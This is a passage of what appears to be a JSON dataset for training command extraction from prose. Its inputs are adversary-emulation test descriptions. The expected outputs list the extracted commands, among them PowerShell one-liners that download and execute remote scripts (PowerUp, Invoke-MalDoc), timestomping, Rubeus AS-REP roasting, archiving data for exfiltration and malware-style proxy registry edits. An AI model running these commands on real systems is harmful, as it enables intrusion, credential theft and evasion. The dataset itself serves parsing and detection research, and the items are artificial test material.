occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test JScript execution and display system information in four message boxes, use the following command: wscript \"#{jscript}\"\n; The execution chain observed in TrickBot campaigns, where a VBA macro creates #{jse_path} and runs it via cscript.exe (launching wscript.exe), can be replicated with this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
    "output": "{\"command_list\": [\"wscript \\\"#{jscript}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"cscript.exe #{jse_path}`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves listing available drives on the system for data gathering purposes, using the command: powershell.exe -c \"gdr -PSProvider 'FileSystem'\"; You can retrieve the Operating System Product Name from the registry via the command: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v ProductName",
    "output": "{\"command_list\": [\"powershell.exe -c \\\"gdr -PSProvider 'FileSystem'\\\"\\n\", \"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v ProductName\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For modifying a file's creation timestamp to appear as 1970 (a method used by Stitch RAT), execute this PowerShell command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nThe change can be verified in File Explorer by examining the file's Properties.; To alter the last modified timestamp of a file, as observed in Stitch RAT attacks, use the following command: Get-ChildItem \"#{file_path}\" | % { $_.LastWriteTime = \"#{target_date_time}\" }",
    "output": "{\"command_list\": [\"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.LastWriteTime = \\\"#{target_date_time}\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates how an adversary may compress data for exfiltration via the command: tar -cvzf #{output_file} #{input_file_folder}; For data encryption prior to exfiltration, execute this multi-step command: mkdir -p #{test_folder}\ncd #{test_folder}; touch a b c d e f g\nzip --password \"#{encryption_password}\" #{test_folder}/#{test_file} ./*\necho \"#{encryption_password}\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\nls -l #{test_folder}",
    "output": "{\"command_list\": [\"tar -cvzf #{output_file} #{input_file_folder}\\n\", \"mkdir -p #{test_folder}\\ncd #{test_folder}; touch a b c d e f g\\nzip --password \\\"#{encryption_password}\\\" #{test_folder}/#{test_file} ./*\\necho \\\"#{encryption_password}\\\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\\nls -l #{test_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning a range of ports and detecting services, run the following: nmap -Pn -sV -p #{port_range} #{host}; The local computer's installed drivers can be examined, with verbose output and signed driver details, via these commands: driverquery /v /fo list\ndriverquery /si /fo list",
    "output": "{\"command_list\": [\"nmap -Pn -sV -p #{port_range} #{host}\\n\", \"driverquery /v /fo list\\ndriverquery /si /fo list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify remote hosts in a specified network range, run the following command: cmd /c '#{netscan_path}' /hide /auto:\"$env:temp\\\\T1018NetscanOutput.txt\" /range:'#{range_to_scan}'; Details about the Rubeus tool and its developers can be found at: https://github.com/GhostPack/Rubeus#asreproast. This build is designed for .NET 4.5, and if you need to target a different version, you'll have to compile Rubeus yourself. To execute the tool, use the following command: cmd.exe /c \"#{local_folder}\\#{local_executable}\" asreproast /outfile:\"#{local_folder}\\#{out_file}\"\n",
    "output": "{\"command_list\": [\"cmd /c '#{netscan_path}' /hide /auto:\\\"$env:temp\\\\T1018NetscanOutput.txt\\\" /range:'#{range_to_scan}'\", \"cmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" asreproast /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This registry modification enables proxy settings, as seen in DarkGate malware, with the command: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyEnable /t REG_DWORD /d 1 /f; DarkGate malware employs a registry modification to establish a proxy server, achieved with the command: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyServer /t REG_SZ /d \"proxy.atomic-test.com:8080\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v ProxyEnable /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v ProxyServer /t REG_SZ /d \\\"proxy.atomic-test.com:8080\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the 